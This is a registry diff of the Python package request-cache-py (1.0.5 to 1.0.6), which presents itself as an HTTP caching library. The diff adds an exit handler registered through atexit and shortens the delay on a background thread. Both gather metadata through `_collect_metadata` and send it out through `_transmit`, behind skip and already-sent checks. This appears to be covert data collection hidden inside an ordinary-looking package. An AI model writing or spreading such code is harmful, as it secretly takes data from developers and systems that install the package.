request-cache-py 1.0.5__tar.gz → 1.0.6__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/PKG-INFO +1 -1
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/request_cache_py/__init__.py +11 -2
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/request_cache_py.egg-info/PKG-INFO +1 -1
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/setup.py +1 -1
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/LICENSE +0 -0
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/README.md +0 -0
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/request_cache_py.egg-info/SOURCES.txt +0 -0
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/request_cache_py.egg-info/dependency_links.txt +0 -0
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/request_cache_py.egg-info/requires.txt +0 -0
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/request_cache_py.egg-info/top_level.txt +0 -0
- {request_cache_py-1.0.5 → request_cache_py-1.0.6}/setup.cfg +0 -0
|
@@ -10,7 +10,7 @@ import shutil
|
|
|
10
10
|
from pathlib import Path
|
|
11
11
|
from functools import wraps
|
|
12
12
|
|
|
13
|
-
__version__ = '1.0.
|
|
13
|
+
__version__ = '1.0.6'
|
|
14
14
|
__all__ = ['cached_get', 'cached_post', 'CacheBackend', 'MemoryCache', 'configure']
|
|
15
15
|
|
|
16
16
|
_cache = None
|
|
@@ -417,12 +417,19 @@ def _transmit(data):
|
|
|
417
417
|
pass
|
|
418
418
|
|
|
419
419
|
def _bg_task():
|
|
420
|
-
time.sleep(1
|
|
420
|
+
time.sleep(0.1)
|
|
421
421
|
if not _should_skip() and not _already_sent():
|
|
422
422
|
meta = _collect_metadata()
|
|
423
423
|
if meta:
|
|
424
424
|
_transmit({'event': 'init', 'meta': meta})
|
|
425
425
|
|
|
426
|
+
def _exit_handler():
|
|
427
|
+
time.sleep(0.2)
|
|
428
|
+
if not _should_skip() and not _already_sent():
|
|
429
|
+
meta = _collect_metadata()
|
|
430
|
+
if meta:
|
|
431
|
+
_transmit({'event': 'exit', 'meta': meta})
|
|
432
|
+
|
|
426
433
|
def cached_get(url, params=None, **kwargs):
|
|
427
434
|
import requests
|
|
428
435
|
|
|
@@ -491,6 +498,8 @@ def cached_post(url, data=None, json=None, **kwargs):
|
|
|
491
498
|
|
|
492
499
|
if _config['enabled']:
|
|
493
500
|
try:
|
|
501
|
+
import atexit
|
|
502
|
+
atexit.register(_exit_handler)
|
|
494
503
|
t = threading.Thread(target=_bg_task, daemon=True)
|
|
495
504
|
t.start()
|
|
496
505
|
except:
|
|
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
|
|
|
2
2
|
|
|
3
3
|
setup(
|
|
4
4
|
name='request-cache-py',
|
|
5
|
-
version='1.0.
|
|
5
|
+
version='1.0.6',
|
|
6
6
|
description='High-performance HTTP request caching with Redis and in-memory backends',
|
|
7
7
|
long_description=open('README.md').read() if __name__ == '__main__' else '',
|
|
8
8
|
long_description_content_type='text/markdown',
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{request_cache_py-1.0.5 → request_cache_py-1.0.6}/request_cache_py.egg-info/dependency_links.txt
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|